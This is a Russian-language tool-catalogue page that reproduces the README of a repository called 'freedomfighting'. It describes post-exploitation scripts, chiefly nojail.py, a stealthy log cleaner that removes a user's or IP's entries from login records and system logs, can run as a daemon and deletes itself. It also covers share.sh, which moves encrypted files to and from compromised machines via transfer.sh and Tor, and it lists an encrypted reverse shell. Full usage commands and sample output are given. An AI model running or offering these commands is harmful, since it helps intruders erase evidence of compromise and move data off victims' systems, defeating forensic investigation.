Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
freedomfighting — Коллекция скриптов, которая может пригодиться в вашей борьбе за свободу. | Kitploit
Инструменты/GitHubGitHub/justicerage/freedomfighting
РазведкаИнструменты шифрования/дешифрованияФорензикаСбор информацииПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеRed TeamingКраулерИнструмент Удаленного ДоступаАнализ Журналов
41868143 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
justicerage/freedomfighting

freedomfighting

Коллекция скриптов, которая может пригодиться в вашей борьбе за свободу.

Репозиторий
Поделиться

Скрипты для борьбы за свободу

Этот репозиторий содержит скрипты, которые могут пригодиться в вашей деятельности по борьбе за свободу. Он будет обновляться время от времени, когда мне понадобится что-то, что я не могу найти в интернете. Всё здесь распространяется на условиях лицензии GPL v3.

Приветствуются любые вклады и запросы на слияние.

Содержание

  • nojail.py, очиститель логов на Python.
  • share.sh, скрипт для безопасного обмена файлами.
  • autojack.py, терминальный логгер.
  • listurl.py, картограф сайта.
  • ersh.py, зашифрованная обратная оболочка.
  • boot_check.py, скрипт для обнаружения атак «злая горничная».
  • notify_hook.py, способ запуска предупреждений при вызове некоторых бинарных файлов в системе.
  • Разное (контакты и пожертвования)

nojail.py

Очиститель логов, который удаляет компрометирующие записи в:

  • /var/run/utmp, /var/log/wtmp, /var/log/btmp (управляет выводом команд who, w и last)
  • /var/log/lastlog (управляет выводом команды lastlog)
  • /var/**/*.log (.log.1, .log.2.gz и т.д. включены)
  • Любой дополнительный файл или папка, указанные пользователем

Записи удаляются на основе IP-адреса и/или связанного имени хоста.

Особое внимание уделяется предотвращению нарушения файловых дескрипторов при вмешательстве в журналы. Это означает, что журналы продолжают записываться после внесения изменений, что делает очистку гораздо менее заметной. Вся работа выполняется на диске tmpfs, а все созданные файлы надёжно уничтожаются.

Предупреждение: Скрипт был протестирован только на Linux и не сможет очистить записи UTMP в других разновидностях Unix.

Использование:```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

 --verbose, -v         Print debug messages.
 --check, -c           If present, the user will be asked to confirm each
                       deletion from the logs.
 --daemonize, -d       Start in the background and delete logs when the
                       current session terminates. Implies --self-delete.
 --self-delete, -s     Automatically delete the script after its execution.
По умолчанию, если аргументы не заданы, скрипт попытается определить IP-адрес для очистки на основе переменной окружения `SSH_CONNECTION`. Любая запись, соответствующая обратному DNS этого IP, также будет удалена.

#### Базовый пример:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check

...удалит все записи для пользователя root, где IP-адрес равен 151.80.119.32 или имя хоста равно manalyzer.org. Пользователь также будет получать запрос перед удалением каждой записи из-за опции --check. Наконец, файл /etc/app/logs/access.log будет обработан в дополнение ко всем стандартным.

Если папки указаны в качестве позиционных аргументов (например, /etc/app/logs/), скрипт рекурсивно обойдет их и очистит все файлы с расширением .log (включая *.log.1, *.log.2.gz и т.д.).

Регулярные выражения

Вы также можете удалять произвольные строки из файла журнала. Для этого используйте опцию --regexp. Например, следующая команда будет искать все POST-запросы к PHP-файлам с указанного IP:``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

#### Демонизация скрипта```
./nojail.py --daemonize

Предполагая, что это запускается из SSH-соединения, эта команда удалит все логи, относящиеся к активности текущего пользователя, с обнаруженным IP-адресом и именем хоста сразу после закрытия соединения. Этот скрипт затем автоматически удалит себя. Пожалуйста, имейте в виду, что у вас не будет возможности получить сообщения об ошибках от приложения. Рекомендуется попробовать удалить логи один раз перед запуском демона, чтобы убедиться, что указанные вами аргументы верны. Если вы находитесь в оболочке без TTY, скрипт не сможет определить, когда сессия завершится. Вы будете уведомлены, что логи будут удалены через 60 секунд, и вам следует выйти из системы до этого времени (иначе есть риск создать новые записи после выполнения скрипта).

Пример вывода:```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

### Отказ от ответственности
Этот скрипт предоставляется без каких-либо гарантий. Не вините меня, если он не удаляет все следы того, чего вы изначально не должны были делать.

## share.sh

Портативный и безопасный скрипт для обмена файлами. В ходе борьбы за свободу обычно невозможно скопировать файлы по scp на скомпрометированные машины. Требуются альтернативные способы загрузки файлов, но большинство сервисов обмена либо слишком ограничены, либо не предоставляют способа легко получить файлы из командной строки. Соображения безопасности также могут помешать людям загружать конфиденциальные файлы к облачным провайдерам из-за опасений, что они сохранят копию навсегда.

Этот небольшой и портативный bash-скрипт использует [transfer.sh](https://transfer.sh) для решения этой проблемы. Он...
* Шифрует файлы перед загрузкой (симметричный AES-256-CBC).
* Автоматически использует `torify`, если он присутствует в системе, для повышения анонимности.

Единственные необходимые зависимости — `openssl` и `curl` или `wget`.

### Использование```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!

Дополнительные аргументы при загрузке позволяют вам контролировать максимальное количество разрешённых загрузок для файла (-m) и количество дней, в течение которых transfer.sh будет хранить его (-d). Значение по умолчанию для обеих опций — 1.

Предупреждение: Не используйте пробелы в ключе шифрования, иначе будет учтено только первое слово вашей парольной фразы. Это связано с тем, как getopts обрабатывает аргументы (я думаю). Если кто-то заинтересован в исправлении этой проблемы, приветствуются pull request'ы.

autojack.py

Скачать инструмент